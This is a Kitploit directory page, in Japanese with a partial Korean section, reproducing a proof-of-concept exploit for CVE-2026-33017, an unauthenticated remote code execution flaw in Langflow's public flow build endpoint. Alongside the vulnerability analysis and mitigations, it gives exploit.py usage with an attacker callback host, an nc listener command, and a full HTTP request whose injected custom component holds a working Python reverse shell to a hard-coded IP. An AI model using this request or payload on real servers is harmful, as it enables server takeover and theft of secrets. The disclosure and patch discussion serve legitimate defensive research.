Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33017 — CVE-2026-33017の概念実証エクスプロイト。Langflowのbuild_public_tmpエンドポイントにおける認証不要のRCEで、悪意のあるカスタムコンポーネントを注入してリバースシェルを取得します。 | Kitploit
ツール/GitHubGitHub/yym8538/cve-2026-33017
脆弱性分析エクスプロイトリバースエンジニアリングウェブアプリケーション悪用ペネトレーションテストレッドチーミングリモートアクセスツールペイロード開発AIセキュリティ
GitHubyym8538/cve-2026-33017

CVE-2026-33017

CVE-2026-33017の概念実証エクスプロイト。Langflowのbuild_public_tmpエンドポイントにおける認証不要のRCEで、悪意のあるカスタムコンポーネントを注入してリバースシェルを取得します。

11ヶ月前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33017 Langflow RCE

★ CVE-2026-33017 Langflow リモートコード実行 PoC ★

https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7


環境構築

以下のコマンドで脆弱な Langflow 環境をビルドして起動します。

docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln

PoC の使い方

脆弱な Langflow インスタンスを起動した後、対象 URL、Public フロー ID、攻撃者のコールバックアドレスを指定して PoC を実行します。

オプション A — 自前のリスナーを使用する場合:

# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444

オプション B — --listen で組み込みリスナーを使用する場合:

python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
オプション説明
--url対象 Langflow サーバーの URL
--flow-id共有された Public フローの UUID
--lhost攻撃者のコールバック IP
--lport攻撃者のコールバックポート
--listen外部の nc の代わりに組み込みリスナーを実行する

ENG

CVE-2026-33017 は、LLM アプリケーションや AI ワークフローを視覚的に構築するためのオープンソースプラットフォーム Langflow の Public フロービルド処理における リモートコード実行 (Remote Code Execution, RCE) 脆弱性です。
攻撃者は認証なしで build_public_tmp エンドポイントに細工したフローデータを送信することで、サーバー上で 任意の Python コードを実行 させることができます。


概要

CVE-2026-33017 は、LLM アプリケーションや AI ワークフローを視覚的に作成するためのオープンソースプラットフォーム Langflow の以下の Public フロービルドエンドポイントに影響します。

POST /api/v1/build_public_tmp/{flow_id}/flow

Langflow の Public フロー は、リンクなどの仕組みを通じて他のユーザーと共有できるように設計されています。
この機能をサポートするため、ビルドエンドポイントは認証を必要とせずにフローを実行可能な状態に準備し、フローのノード、エッジ、設定を読み取って、実行に必要な内部実行グラフを構築します。

問題は、脆弱なバージョンの build_public_tmp が、サーバーに保存された Public フロー情報だけでなく、リクエストボディで指定された data フィールド も受け入れていたことです。

この data フィールドには、以下を含むフロー定義全体を格納できました。

  • ノードのリスト
  • ノード間の接続
  • 各ノードの詳細な設定値
  • 実行に必要なテンプレートおよびカスタムコンポーネントのデータ

その結果、攻撃者は認証なしのリクエストを使用して、サーバーに保存された正規の Public フローに依存するのではなく、完全に攻撃者が制御するフロー構造を注入することができました。

この設計で特に危険な部分は カスタムコンポーネント (Custom Component) 機能です。
Langflow では、コンポーネントは入力処理、モデル呼び出し、出力生成などのタスクを担う個別の機能ブロックを表します。カスタムコンポーネントは、ユーザーが Python コード で直接その動作を定義できる拡張可能なブロックです。

したがって攻撃者は、悪意のある Python コード を含むカスタムコンポーネントを細工した data オブジェクト内に埋め込むことができ、サーバーはそれをフローの通常の一部であるかのように処理しました。その結果、注入されたコードはビルドまたは実行の過程で解析・実行され、最終的に リモートコード実行 に至りました。


影響を受けるバージョン

区分バージョン
脆弱Langflow 1.9.0 未満
修正済みLangflow 1.9.0 以降

GitHub Security Advisory では影響範囲を <= 1.8.2 と記載していますが、修正 (data パラメータの削除) は 1.9.0 で適用されました。そのため 1.8.3 / 1.8.4 を含む 1.9.0 より前のすべてのリリースが影響を受け、CVE Record でも < 1.9.0 と記載されています。


影響

この脆弱性の悪用に成功すると、攻撃者は Langflow サーバーを制御し、以下のような後続の行動を実行できる可能性があります。

  • サーバー上でのシェル取得
  • 環境変数やその他の機密情報の窃取
  • 追加の悪意のあるコードのインストールと永続化の確立

概念実証

以下の PoC は、Langflow 1.8.1 上で CVE-2026-33017 を実証するものです。

1) Public フロー ID の特定

攻撃者はまず、対象となる Public フローの flow_id を特定します。

Public フロー ID の特定

2) 悪意のあるカスタムコンポーネントを含むビルドリクエストの送信

攻撃者は、Python の code が一時ビルド中にサーバー上で実行される カスタムコンポーネント を注入した build_public_tmp リクエストを送信します。以下のリクエストでは、code の値はプレースホルダーのままにしています。ペイロードはご自身で挿入してください (リクエストの下の注記を参照)。

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) シェルの取得

ビルド処理中に、カスタムコンポーネントに埋め込まれたコードがサーバー上で実行されます。exploit.py によって自動化されたリバースシェルの亜種を使用すると、攻撃者のリスナーへの接続が確立され、攻撃者はサーバー上で任意のコマンドを実行できる対話型シェルを取得します。

シェルの取得


技術的分析

build_public_tmp は Public フロー をビルドするためのものでしたが、脆弱なバージョンでは リクエストボディから直接 data フィールド を依然として受け入れていました。

この設計のため、攻撃者が提供した data はサーバー側のビルドロジックに直接渡され、カスタムコンポーネントに埋め込まれた Python コード は正規のフローの一部であるかのように処理されました。

その結果、攻撃者はサーバーに保存された元の Public フローに依存する必要がなくなり、代わりにサーバー上で実行可能なコードを含む、完全に悪意のあるフロー定義を自ら注入することができました。

パッチ適用後、build_public_tmp は外部から提供された data を受け入れなくなりました。
つまり、以前は攻撃者がリクエストボディを通じてフロー定義全体を注入できた経路が削除され、これにより悪意のあるカスタムコンポーネントを介した任意コード実行も防止されました。

パッチ差分


緩和策

  • Langflow 1.9.0 以降に更新する
  • 不要な Public フローの公開を削除する
  • Langflow インスタンスへの直接的な外部アクセスを制限する

参考資料

  • GitHub Security Advisory: GHSA-vwmf-pq79-vjvx
  • NVD: CVE-2026-33017
  • Patch Commit: 73b6612e3ef25fdae0a752d75b0fabd47328d4f0

Analysis

  • KR: https://www.skshieldus.com/report/eqstInsight/rt2607.html
  • EN:


KOR

CVE-2026-33017은 오픈소스 AI 워크플로우 플랫폼 Langflow의 Public 플로우 빌드 과정에서 발생하는 원격 코드 실행(Remote Code Execution, RCE) 취약점이다.
공격자는 인증 없이 build_public_tmp 엔드포인트에 조작된 플로우 데이터를 전달함으로써, 서버 측에서 임의 Python 코드 실행을 유도할 수 있다.


Overview

CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구성할 수 있는 오픈소스 플랫폼 Langflow의 Public 플로우 빌드 엔드포인트인 아래 API에서 발생한다.

POST /api/v1/build_public_tmp/{flow_id}/flow

Langflow의 Public 플로우는 다른 사용자가 링크 등을 통해 불러와 사용할 수 있도록 외부에 공개되는 플로우이다.
이 기능은 인증 없이도 해당 플로우를 실행 가능한 상태로 준비할 수 있도록 설계되어 있으며, 빌드 엔드포인트는 플로우를 구성하는 노드, 연결 관계, 설정값 등을 바탕으로 내부 실행 그래프를 생성하고 각 블록이 실제로 동작할 수 있도록 준비하는 역할을 수행한다.

문제는 취약한 버전의 build_public_tmp 엔드포인트가 요청 바디에 포함된 data 값도 함께 받아들였다는 점이다.

이 data에는 다음과 같은 플로우 전체 정의가 포함될 수 있다.

  • 노드 목록
  • 노드 간 연결 관계
  • 각 노드의 세부 설정값
  • 실행에 필요한 템플릿 및 커스텀 컴포넌트 정보

즉, 공격자는 인증 없는 요청으로 서버에 저장된 정상 플로우 대신 자신이 조작한 플로우 구조 전체를 주입할 수 있었다.

이 과정에서 특히 위험한 요소는 커스텀 컴포넌트(Custom Component) 이다.
Langflow에서 컴포넌트는 입력 처리, 모델 호출, 출력 생성 등 개별 기능을 담당하는 블록이며, 커스텀 컴포넌트는 사용자가 Python 코드로 직접 정의할 수 있는 확장형 블록이다.

공격자는 조작한 data 내부에 악성 Python 코드가 포함된 커스텀 컴포넌트를 삽입할 수 있었고, 서버는 이를 정상적인 플로우 구성 요소처럼 처리했다. 그 결과, 해당 코드가 빌드/실행 흐름에서 실제로 해석·실행되며 원격 코드 실행이 가능해졌다.


Affected Versions

구분버전
취약 버전Langflow 1.9.0 미만
패치 버전Langflow 1.9.0 이상

GitHub Security Advisory는 영향 범위를 <= 1.8.2로 표기하지만, 실제 패치(data 파라미터 제거)는 1.9.0에 반영되었다. 따라서 1.8.3·1.8.4를 포함해 1.9.0 이전의 모든 버전이 취약하며, CVE Record도 이를 < 1.9.0으로 명시한다.


Impact

ツールをダウンロード